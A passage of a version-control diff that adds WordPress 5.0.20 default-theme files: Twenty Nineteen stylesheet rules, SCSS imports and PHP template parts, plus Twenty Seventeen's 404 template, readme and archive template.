+  color: #005177;
+}
+
+.entry .entry-content .has-dark-gray-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color p {
+  color: #111;
+}
+
+.entry .entry-content .has-light-gray-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color p {
+  color: #767676;
+}
+
+.entry .entry-content .has-white-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-white-color {
+  color: #FFF;
+}
+
+/* Media */
+.page-content .wp-smiley,
+.entry-content .wp-smiley,
+.comment-content .wp-smiley {
+  border: none;
+  margin-bottom: 0;
+  margin-top: 0;
+  padding: 0;
+}
+
+embed,
+iframe,
+object {
+  max-width: 100%;
+}
+
+.custom-logo-link {
+  display: inline-block;
+}
+
+.avatar {
+  border-radius: 100%;
+  display: block;
+  height: calc(2.25 * 1rem);
+  min-height: inherit;
+  width: calc(2.25 * 1rem);
+}
+
+svg {
+  transition: fill 120ms ease-in-out;
+  fill: currentColor;
+}
+
+/*--------------------------------------------------------------
+## Captions
+--------------------------------------------------------------*/
+.wp-caption {
+  margin-bottom: calc(1.5 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-caption.aligncenter {
+    position: relative;
+    left: calc( calc(8 * (100vw / 12) - 28px) / 2);
+    transform: translateX(-50%);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .wp-caption.aligncenter {
+    left: calc( calc(6 * (100vw / 12) - 28px) / 2);
+  }
+}
+
+.wp-caption img[class*="wp-image-"] {
+  display: block;
+  margin-left: auto;
+  margin-right: auto;
+}
+
+.wp-caption-text {
+  color: #767676;
+  font-size: 0.71111em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  margin: 0;
+  padding: 0.5rem;
+  text-align: center;
+}
+
+/*--------------------------------------------------------------
+## Galleries
+--------------------------------------------------------------*/
+.gallery {
+  display: flex;
+  flex-flow: row wrap;
+  justify-content: center;
+  margin-bottom: calc(1.5 * 1rem);
+}
+
+.gallery-item {
+  display: inline-block;
+  margin-right: 16px;
+  margin-bottom: 16px;
+  text-align: center;
+  vertical-align: top;
+  width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+  max-width: calc((100% - 16px * 1) / 2);
+}
+
+.gallery-columns-2 .gallery-item:nth-of-type(2n+2) {
+  margin-right: 0;
+}
+
+.gallery-columns-3 .gallery-item {
+  max-width: calc((100% - 16px * 2) / 3);
+}
+
+.gallery-columns-3 .gallery-item:nth-of-type(3n+3) {
+  margin-right: 0;
+}
+
+.gallery-columns-4 .gallery-item {
+  max-width: calc((100% - 16px * 3) / 4);
+}
+
+.gallery-columns-4 .gallery-item:nth-of-type(4n+4) {
+  margin-right: 0;
+}
+
+.gallery-columns-5 .gallery-item {
+  max-width: calc((100% - 16px * 4) / 5);
+}
+
+.gallery-columns-5 .gallery-item:nth-of-type(5n+5) {
+  margin-right: 0;
+}
+
+.gallery-columns-6 .gallery-item {
+  max-width: calc((100% - 16px * 5) / 6);
+}
+
+.gallery-columns-6 .gallery-item:nth-of-type(6n+6) {
+  margin-right: 0;
+}
+
+.gallery-columns-7 .gallery-item {
+  max-width: calc((100% - 16px * 6) / 7);
+}
+
+.gallery-columns-7 .gallery-item:nth-of-type(7n+7) {
+  margin-right: 0;
+}
+
+.gallery-columns-8 .gallery-item {
+  max-width: calc((100% - 16px * 7) / 8);
+}
+
+.gallery-columns-8 .gallery-item:nth-of-type(8n+8) {
+  margin-right: 0;
+}
+
+.gallery-columns-9 .gallery-item {
+  max-width: calc((100% - 16px * 8) / 9);
+}
+
+.gallery-columns-9 .gallery-item:nth-of-type(9n+9) {
+  margin-right: 0;
+}
+
+.gallery-item:last-of-type {
+  padding-right: 0;
+}
+
+.gallery-caption {
+  display: block;
+  font-size: 0.71111em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  margin: 0;
+  padding: 0.5rem;
+}
+
+.gallery-item > div > a {
+  display: block;
+  line-height: 0;
+  box-shadow: 0 0 0 0 transparent;
+}
+
+.gallery-item > div > a:focus {
+  box-shadow: 0 0 0 2px #0073aa;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/style.css.map
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/style.css.map	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/style.css.map	(revision 56912)
@@ -0,0 +1,1 @@
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Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/style.scss
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/style.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/style.scss	(revision 56912)
@@ -0,0 +1,109 @@
+/*
+Theme Name: Twenty Nineteen
+Theme URI: https://github.com/WordPress/twentynineteen
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom styles for all the default blocks, and is built so that what you see in the editor looks like what you'll see on your website. Twenty Nineteen is designed to be adaptable to a wide range of websites, whether you’re running a photo blog, launching a new business, or supporting a non-profit. Featuring ample whitespace and modern sans-serif headlines paired with classic serif body text, it's built to be beautiful on all screen sizes.
+Requires at least: WordPress 4.9.6
+Version: 1.2
+License: GNU General Public License v2 or later
+License URI: LICENSE
+Text Domain: twentynineteen
+Tags: one-column, flexible-header, accessibility-ready, custom-colors, custom-menu, custom-logo, editor-style, featured-images, footer-widgets, rtl-language-support, sticky-post, threaded-comments, translation-ready
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+
+Twenty Nineteen is based on Underscores https://underscores.me/, (C) 2012-2018 Automattic, Inc.
+Underscores is distributed under the terms of the GNU GPL v2 or later.
+
+Normalizing styles have been helped along thanks to the fine work of
+Nicolas Gallagher and Jonathan Neal https://necolas.github.io/normalize.css/
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+# Variables
+# Normalize
+# Typography
+	## Headings
+	## Copy
+# Elements
+	## Lists
+	## Tables
+# Forms
+	## Buttons
+	## Fields
+# Navigation
+	## Links
+	## Menus
+	## Next & Previous
+# Accessibility
+# Alignments
+# Clearings
+# Layout
+# Widgets
+# Content
+	## Archives
+	## Posts and pages
+	## Comments
+# Blocks
+# Media
+	## Captions
+	## Galleries
+--------------------------------------------------------------*/
+@import "sass/variables-site/variables-site";
+@import "sass/mixins/mixins-master";
+
+/* Normalize */
+
+@import "sass/normalize";
+
+/* Typography */
+
+@import "sass/typography/typography";
+
+/* Elements */
+
+@import "sass/elements/elements";
+
+/* Forms */
+
+@import "sass/forms/forms";
+
+/* Navigation */
+
+@import "sass/navigation/navigation";
+
+/* Accessibility */
+
+@import "sass/modules/accessibility";
+
+/* Alignments */
+
+@import "sass/modules/alignments";
+
+/* Clearings */
+
+@import "sass/modules/clearings";
+
+/* Layout */
+
+@import "sass/layout/layout";
+
+/* Content */
+
+@import "sass/site/site";
+
+/* Widgets */
+
+@import "sass/site/secondary/widgets";
+
+/* Blocks */
+
+@import "sass/blocks/blocks";
+
+/* Media */
+
+@import "sass/media/media";
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-excerpt.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-excerpt.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-excerpt.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Template part for displaying post archives and search results
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php
+		if ( is_sticky() && is_home() && ! is_paged() ) {
+			printf( '<span class="sticky-post">%s</span>', _x( 'Featured', 'post', 'twentynineteen' ) );
+		}
+		the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' );
+		?>
+	</header><!-- .entry-header -->
+
+	<?php twentynineteen_post_thumbnail(); ?>
+
+	<div class="entry-content">
+		<?php the_excerpt(); ?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-footer">
+		<?php twentynineteen_entry_footer(); ?>
+	</footer><!-- .entry-footer -->
+</article><!-- #post-${ID} -->
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-none.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-none.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-none.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * Template part for displaying a message that posts cannot be found
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+?>
+
+<section class="no-results not-found">
+	<header class="page-header">
+		<h1 class="page-title"><?php _e( 'Nothing Found', 'twentynineteen' ); ?></h1>
+	</header><!-- .page-header -->
+
+	<div class="page-content">
+		<?php
+		if ( is_home() && current_user_can( 'publish_posts' ) ) :
+
+			printf(
+				'<p>' . wp_kses(
+					/* translators: 1: link to WP admin new post page. */
+					__( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentynineteen' ),
+					array(
+						'a' => array(
+							'href' => array(),
+						),
+					)
+				) . '</p>',
+				esc_url( admin_url( 'post-new.php' ) )
+			);
+
+		elseif ( is_search() ) :
+			?>
+
+			<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentynineteen' ); ?></p>
+			<?php
+			get_search_form();
+
+		else :
+			?>
+
+			<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentynineteen' ); ?></p>
+			<?php
+			get_search_form();
+
+		endif;
+		?>
+	</div><!-- .page-content -->
+</section><!-- .no-results -->
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-page.php	(revision 56912)
@@ -0,0 +1,56 @@
+<?php
+/**
+ * Template part for displaying page content in page.php
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php if ( ! twentynineteen_can_show_post_thumbnail() ) : ?>
+	<header class="entry-header">
+		<?php get_template_part( 'template-parts/header/entry', 'header' ); ?>
+	</header>
+	<?php endif; ?>
+
+	<div class="entry-content">
+		<?php
+		the_content();
+
+		wp_link_pages(
+			array(
+				'before' => '<div class="page-links">' . __( 'Pages:', 'twentynineteen' ),
+				'after'  => '</div>',
+			)
+		);
+		?>
+	</div><!-- .entry-content -->
+
+	<?php if ( get_edit_post_link() ) : ?>
+		<footer class="entry-footer">
+			<?php
+			edit_post_link(
+				sprintf(
+					wp_kses(
+						/* translators: %s: Name of current post. Only visible to screen readers */
+						__( 'Edit <span class="screen-reader-text">%s</span>', 'twentynineteen' ),
+						array(
+							'span' => array(
+								'class' => array(),
+							),
+						)
+					),
+					get_the_title()
+				),
+				'<span class="edit-link">',
+				'</span>'
+			);
+			?>
+		</footer><!-- .entry-footer -->
+	<?php endif; ?>
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content-single.php	(revision 56912)
@@ -0,0 +1,55 @@
+<?php
+/**
+ * Template part for displaying posts
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php if ( ! twentynineteen_can_show_post_thumbnail() ) : ?>
+	<header class="entry-header">
+		<?php get_template_part( 'template-parts/header/entry', 'header' ); ?>
+	</header>
+	<?php endif; ?>
+
+	<div class="entry-content">
+		<?php
+		the_content(
+			sprintf(
+				wp_kses(
+					/* translators: %s: Name of current post. Only visible to screen readers */
+					__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentynineteen' ),
+					array(
+						'span' => array(
+							'class' => array(),
+						),
+					)
+				),
+				get_the_title()
+			)
+		);
+
+		wp_link_pages(
+			array(
+				'before' => '<div class="page-links">' . __( 'Pages:', 'twentynineteen' ),
+				'after'  => '</div>',
+			)
+		);
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-footer">
+		<?php twentynineteen_entry_footer(); ?>
+	</footer><!-- .entry-footer -->
+
+	<?php if ( ! is_singular( 'attachment' ) ) : ?>
+	<?php get_template_part( 'template-parts/post/author', 'bio' ); ?>
+	<?php endif; ?>
+
+</article><!-- #post-${ID} -->
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/content/content.php	(revision 56912)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Template part for displaying posts
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php
+		if ( is_sticky() && is_home() && ! is_paged() ) {
+			printf( '<span class="sticky-post">%s</span>', _x( 'Featured', 'post', 'twentynineteen' ) );
+		}
+		if ( is_singular() ) :
+			the_title( '<h1 class="entry-title">', '</h1>' );
+		else :
+			the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' );
+		endif;
+		?>
+	</header><!-- .entry-header -->
+
+	<?php twentynineteen_post_thumbnail(); ?>
+
+	<div class="entry-content">
+		<?php
+		the_content(
+			sprintf(
+				wp_kses(
+					/* translators: %s: Name of current post. Only visible to screen readers */
+					__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentynineteen' ),
+					array(
+						'span' => array(
+							'class' => array(),
+						),
+					)
+				),
+				get_the_title()
+			)
+		);
+
+		wp_link_pages(
+			array(
+				'before' => '<div class="page-links">' . __( 'Pages:', 'twentynineteen' ),
+				'after'  => '</div>',
+			)
+		);
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-footer">
+		<?php twentynineteen_entry_footer(); ?>
+	</footer><!-- .entry-footer -->
+</article><!-- #post-${ID} -->
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/footer/footer-widgets.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/footer/footer-widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/footer/footer-widgets.php	(revision 56912)
@@ -0,0 +1,24 @@
+<?php
+/**
+ * Displays the footer widget area
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+
+	<aside class="widget-area" role="complementary" aria-label="<?php esc_attr_e( 'Footer', 'twentynineteen' ); ?>">
+		<?php
+			if ( is_active_sidebar( 'sidebar-1' ) ) {
+				?>
+					<div class="widget-column footer-widget-1">
+						<?php dynamic_sidebar( 'sidebar-1' ); ?>
+					</div>
+				<?php
+			}
+		?>
+	</aside><!-- .widget-area -->
+
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/header/entry-header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/header/entry-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/header/entry-header.php	(revision 56912)
@@ -0,0 +1,46 @@
+<?php
+/**
+ * Displays the post header
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+$discussion = ! is_page() && twentynineteen_can_show_post_thumbnail() ? twentynineteen_get_discussion_data() : null; ?>
+
+<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+
+<?php if ( ! is_page() ) : ?>
+<div class="entry-meta">
+	<?php twentynineteen_posted_by(); ?>
+	<?php twentynineteen_posted_on(); ?>
+	<span class="comment-count">
+		<?php
+		if ( ! empty( $discussion ) ) {
+			twentynineteen_discussion_avatars_list( $discussion->authors );
+		}
+		?>
+		<?php twentynineteen_comment_count(); ?>
+	</span>
+	<?php
+	// Edit post link.
+		edit_post_link(
+			sprintf(
+				wp_kses(
+					/* translators: %s: Name of current post. Only visible to screen readers. */
+					__( 'Edit <span class="screen-reader-text">%s</span>', 'twentynineteen' ),
+					array(
+						'span' => array(
+							'class' => array(),
+						),
+					)
+				),
+				get_the_title()
+			),
+			'<span class="edit-link">' . twentynineteen_get_icon_svg( 'edit', 16 ),
+			'</span>'
+		);
+	?>
+</div><!-- .meta-info -->
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/header/site-branding.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/header/site-branding.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/header/site-branding.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * Displays header site branding
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+?>
+<div class="site-branding">
+
+	<?php if ( has_custom_logo() ) : ?>
+		<div class="site-logo"><?php the_custom_logo(); ?></div>
+	<?php endif; ?>
+	<?php $blog_info = get_bloginfo( 'name' ); ?>
+	<?php if ( ! empty( $blog_info ) ) : ?>
+		<?php if ( is_front_page() && is_home() ) : ?>
+			<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+		<?php else : ?>
+			<p class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></p>
+		<?php endif; ?>
+	<?php endif; ?>
+
+	<?php
+	$description = get_bloginfo( 'description', 'display' );
+	if ( $description || is_customize_preview() ) :
+		?>
+			<p class="site-description">
+				<?php echo $description; ?>
+			</p>
+	<?php endif; ?>
+	<?php if ( has_nav_menu( 'menu-1' ) ) : ?>
+		<nav id="site-navigation" class="main-navigation" aria-label="<?php esc_attr_e( 'Top Menu', 'twentynineteen' ); ?>">
+			<?php
+			wp_nav_menu(
+				array(
+					'theme_location' => 'menu-1',
+					'menu_class'     => 'main-menu',
+					'items_wrap'     => '<ul id="%1$s" class="%2$s">%3$s</ul>',
+				)
+			);
+			?>
+		</nav><!-- #site-navigation -->
+	<?php endif; ?>
+	<?php if ( has_nav_menu( 'social' ) ) : ?>
+		<nav class="social-navigation" aria-label="<?php esc_attr_e( 'Social Links Menu', 'twentynineteen' ); ?>">
+			<?php
+			wp_nav_menu(
+				array(
+					'theme_location' => 'social',
+					'menu_class'     => 'social-links-menu',
+					'link_before'    => '<span class="screen-reader-text">',
+					'link_after'     => '</span>' . twentynineteen_get_icon_svg( 'link' ),
+					'depth'          => 1,
+				)
+			);
+			?>
+		</nav><!-- .social-navigation -->
+	<?php endif; ?>
+</div><!-- .site-branding -->
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/post/author-bio.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/post/author-bio.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/post/author-bio.php	(revision 56912)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * The template for displaying Author info
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+if ( (bool) get_the_author_meta( 'description' ) ) : ?>
+<div class="author-bio">
+	<h2 class="author-title">
+		<span class="author-heading">
+			<?php
+			printf(
+				/* translators: %s: post author */
+				__( 'Published by %s', 'twentynineteen' ),
+				esc_html( get_the_author() )
+			);
+			?>
+		</span>
+	</h2>
+	<p class="author-description">
+		<?php the_author_meta( 'description' ); ?>
+		<a class="author-link" href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+			<?php _e( 'View more posts', 'twentynineteen' ); ?>
+		</a>
+	</p><!-- .author-description -->
+</div><!-- .author-bio -->
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/post/discussion-meta.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/post/discussion-meta.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/template-parts/post/discussion-meta.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * The template for displaying Current Discussion on posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Nineteen
+ * @since 1.0.0
+ */
+
+/* Get data from current discussion on post. */
+$discussion    = twentynineteen_get_discussion_data();
+$has_responses = $discussion->responses > 0;
+
+if ( $has_responses ) {
+	/* translators: %1(X comments)$s */
+	$meta_label = sprintf( _n( '%d Comment', '%d Comments', $discussion->responses, 'twentynineteen' ), $discussion->responses );
+} else {
+	$meta_label = __( 'No comments', 'twentynineteen' );
+}
+?>
+
+<div class="discussion-meta">
+	<?php
+	if ( $has_responses ) {
+		twentynineteen_discussion_avatars_list( $discussion->authors );
+	}
+	?>
+	<p class="discussion-meta-info">
+		<?php echo twentynineteen_get_icon_svg( 'comment', 24 ); ?>
+		<span><?php echo esc_html( $meta_label ); ?></span>
+	</p>
+</div><!-- .discussion-meta -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/404.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying 404 pages (not found)
+ *
+ * @link https://codex.wordpress.org/Creating_an_Error_404_Page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+get_header(); ?>
+
+<div class="wrap">
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<section class="error-404 not-found">
+				<header class="page-header">
+					<h1 class="page-title"><?php _e( 'Oops! That page can&rsquo;t be found.', 'twentyseventeen' ); ?></h1>
+				</header><!-- .page-header -->
+				<div class="page-content">
+					<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentyseventeen' ); ?></p>
+
+					<?php get_search_form(); ?>
+
+				</div><!-- .page-content -->
+			</section><!-- .error-404 -->
+		</main><!-- #main -->
+	</div><!-- #primary -->
+</div><!-- .wrap -->
+
+<?php get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/README.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/README.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/README.txt	(revision 56912)
@@ -0,0 +1,116 @@
+=== Twenty Seventeen ===
+Contributors: the WordPress team
+Requires at least: WordPress 4.7
+Tested up to: WordPress 5.0
+Version: 2.0
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: one-column, two-columns, right-sidebar, flexible-header, accessibility-ready, custom-colors, custom-header, custom-menu, custom-logo, editor-style, featured-images, footer-widgets, post-formats, rtl-language-support, sticky-post, theme-options, threaded-comments, translation-ready
+
+== Description ==
+
+Twenty Seventeen brings your site to life with header video and immersive featured images. With a focus on business sites, it features multiple sections on the front page as well as widgets, navigation and social menus, a logo, and more. Personalize its asymmetrical grid with a custom color scheme and showcase your multimedia content with post formats. Our default theme for 2017 works great in many languages, for any abilities, and on any device.
+
+For more information about Twenty Seventeen please go to https://codex.wordpress.org/Twenty_Seventeen.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
+2. Type in Twenty Seventeen in the search form and press the 'Enter' key on your keyboard.
+3. Click on the 'Activate' button to use your new theme right away.
+4. Go to https://codex.wordpress.org/Twenty_Seventeen for a guide on how to customize this theme.
+5. Navigate to Appearance > Customize in your admin panel and customize to taste.
+
+== Copyright ==
+
+Twenty Seventeen WordPress Theme, Copyright 2016 WordPress.org
+Twenty Seventeen is distributed under the terms of the GNU GPL
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+Twenty Seventeen bundles the following third-party resources:
+
+HTML5 Shiv, Copyright 2014 Alexander Farkas
+Licenses: MIT/GPL2
+Source: https://github.com/aFarkas/html5shiv
+
+jQuery scrollTo, Copyright 2007-2015 Ariel Flesler
+License: MIT
+Source: https://github.com/flesler/jquery.scrollTo
+
+normalize.css, Copyright 2012-2016 Nicolas Gallagher and Jonathan Neal
+License: MIT
+Source: https://necolas.github.io/normalize.css/
+
+Font Awesome icons, Copyright Dave Gandy
+License: SIL Open Font License, version 1.1.
+Source: http://fontawesome.io/
+
+Bundled header image, Copyright Alvin Engler
+License: CC0 1.0 Universal (CC0 1.0)
+Source: https://unsplash.com/@englr?photo=bIhpiQA009k
+
+== Changelog ==
+
+= 2.0 =
+* Released: January 9, 2019
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_2.0
+
+= 1.9 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.9
+
+= 1.8 =
+* Released: December 6, 2018
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.8
+
+= 1.7 =
+* Released: August 2, 2018
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.7
+
+= 1.6 =
+* Released: May 17, 2018
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.6
+
+= 1.5 =
+* Released: April 4, 2018
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.5
+
+= 1.4 =
+* Released: November 14, 2017
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.4
+
+= 1.3 =
+* Released: June 8, 2017
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.3
+
+= 1.2 =
+* Released: April 18, 2017
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: January 6, 2017
+
+https://codex.wordpress.org/Twenty_Seventeen_Theme_Changelog#Version_1.1
+
+= 1.0 =
+* Released: December 6, 2016
+
+Initial release
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/archive.php	(revision 56912)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * The template for displaying archive pages
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+get_header(); ?>
+
+<div class="wrap">
+
+	<?php if ( have_posts() ) : ?>
+		<header class="page-header">
+			<?php
+				the_archive_title( '<h1 class="page-title">', '</h1>' );
+				the_archive_description( '<div class="taxonomy-description">', '</div>' );
+			?>
+		</header><!-- .page-header -->
+	<?php endif; ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php
+		if ( have_posts() ) : ?>
+			<?php
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'template-parts/post/content', get_post_format() );
+
+			endwhile;
+
+			the_posts_pagination( array(
+				'prev_text' => twentyseventeen_get_svg( array( 'icon' => 'arrow-left' ) ) . '<span class="screen-reader-text">' . __( 'Previous page', 'twentyseventeen' ) . '</span>',
+				'next_text' => '<span class="screen-reader-text">' . __( 'Next page', 'twentyseventeen' ) . '</span>' . twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyseventeen' ) . ' </span>',
+			) );
+
+		else :
+
